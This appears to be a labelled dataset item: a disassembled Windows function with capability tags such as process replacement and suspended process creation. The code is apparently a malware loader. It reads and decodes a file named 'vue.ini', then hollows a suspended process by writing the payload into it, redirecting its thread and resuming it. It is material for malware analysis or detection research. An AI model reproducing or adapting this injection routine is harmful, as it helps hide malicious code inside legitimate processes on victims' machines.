Function at 0x100032d0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1001c603
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x8e4
mov eax, dword [0x10023490]
xor eax, ebp
mov dword [ebp - 0x78], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x590]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._vue.ini
lea ecx, [ebp - 0x590]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
push 0x40
push 0x20
lea edx, [ebp - 0x590]
push edx
lea ecx, [ebp - 0x178]
call fcn.10004480
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0x178]
call fcn.10001cc0
movzx edx, al
test edx, edx
je 0x1000338b
mov dword [ebp - 0x87c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.100037d0
mov eax, dword [ebp - 0x87c]
jmp 0x100037a6
push 2
push 0
push 0
lea ecx, [ebp - 0x178]
call fcn.10003d80
lea eax, [ebp - 0x898]
push eax
lea ecx, [ebp - 0x178]
call fcn.10003e10
mov ecx, eax
call fcn.100051d0
mov dword [ebp - 0xc4], eax
push 0
push 0
push 0
lea ecx, [ebp - 0x178]
call fcn.10003d80
mov ecx, dword [ebp - 0xc4]
push ecx
lea ecx, [ebp - 0x24]
call fcn.100051f0
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0xc4]
xor eax, eax
push eax
push edx
lea ecx, [ebp - 0x24]
call fcn.100052e0
push eax
lea ecx, [ebp - 0x178]
call fcn.10003c30
lea ecx, [ebp - 0x178]
call fcn.100045e0
mov ecx, 0x11
mov esi, str._5R_Afha2yHrTC6vZpvaxKV5QZAfdYkAJS62_wetm4Wgx7xAKFtv9p4UgZYFQ_R_Q
lea edi, [ebp - 0xc0]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x180], 0x44
mov ecx, dword [ebp - 0x180]
push ecx
lea edx, [ebp - 0xc0]
push edx
mov eax, dword [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x24]
call fcn.100052e0
push eax
call fcn.10003200
add esp, 0x10
mov ecx, dword [ebp - 0xc4]
push ecx
call fcn.100082a8
add esp, 4
mov dword [ebp - 0x89c], eax
mov edx, dword [ebp - 0x89c]
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0x17c]
push eax
lea ecx, [ebp - 0x8a0]
push ecx
lea ecx, [ebp - 0x24]
call fcn.100052b0
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x8a4]
push eax
lea ecx, [ebp - 0x24]
call fcn.10005280
mov ecx, dword [eax]
push ecx
call fcn.10007410
add esp, 0xc
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x14], 0
mov byte [ebp - 4], 2
push 0x40
push 0x3000
mov edx, dword [ebp - 0xc4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 0
jne 0x100034f1
push 0x10020464
lea ecx, [ebp - 0x8b0]
call fcn.10003250
push 0x100219dc
lea eax, [ebp - 0x8b0]
push eax
call fcn.1000a421
mov ecx, dword [ebp - 0xc4]
push ecx
mov edx, dword [ebp - 0x17c]
push edx
mov eax, dword [ebp - 0x74]
push eax
call fcn.1000a0c0
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x70]
push ecx
call fcn.1000c4e0
add esp, 0xc
mov dword [ebp - 0x70], 0x44
lea edx, [ebp - 0x5a0]
push edx
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000356a
push 0x100204d8
lea ecx, [ebp - 0x8bc]
call fcn.10003250
push 0x100219dc
lea edx, [ebp - 0x8bc]
push edx
call fcn.1000a421
mov dword [ebp - 0x870], 0x10007
lea eax, [ebp - 0x870]
push eax
mov ecx, dword [ebp - 0x59c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x100035ad
push 0x100204e8
lea ecx, [ebp - 0x8c8]
call fcn.10003250
push 0x100219dc
lea edx, [ebp - 0x8c8]
push edx
call fcn.1000a421
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc4]
push eax
push 0
mov ecx, dword [ebp - 0x5a0]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100035f4
push 0x100204f8
lea ecx, [ebp - 0x8d4]
call fcn.10003250
push 0x100219dc
lea edx, [ebp - 0x8d4]
push edx
call fcn.1000a421
mov dword [ebp - 0x874], 0
lea eax, [ebp - 0x874]
push eax
mov ecx, dword [ebp - 0xc4]
push ecx
mov edx, dword [ebp - 0x74]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x5a0]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10003646
push 0x10020508
lea ecx, [ebp - 0x8e0]
call fcn.10003250
push 0x100219dc
lea edx, [ebp - 0x8e0]
push edx
call fcn.1000a421
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x7b8], eax
lea ecx, [ebp - 0x870]
push ecx
mov edx, dword [ebp - 0x59c]
push edx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x10003688
push str.Long_live_China
lea ecx, [ebp - 0x8ec]
call fcn.10003250
push 0x100219dc
lea eax, [ebp - 0x8ec]
push eax
call fcn.1000a421
mov ecx, dword [ebp - 0x59c]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1000371e
mov dword [ebp - 4], 1
jmp 0x1000374d
mov edx, dword [ebp - 0x59c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x5a0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebp - 0x8f4], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x24]
call fcn.10005260
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x178]
call fcn.100037d0
mov eax, dword [ebp - 0x8f4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x78]
xor ecx, ebp
call fcn.100086e1
mov esp, ebp
pop ebp
ret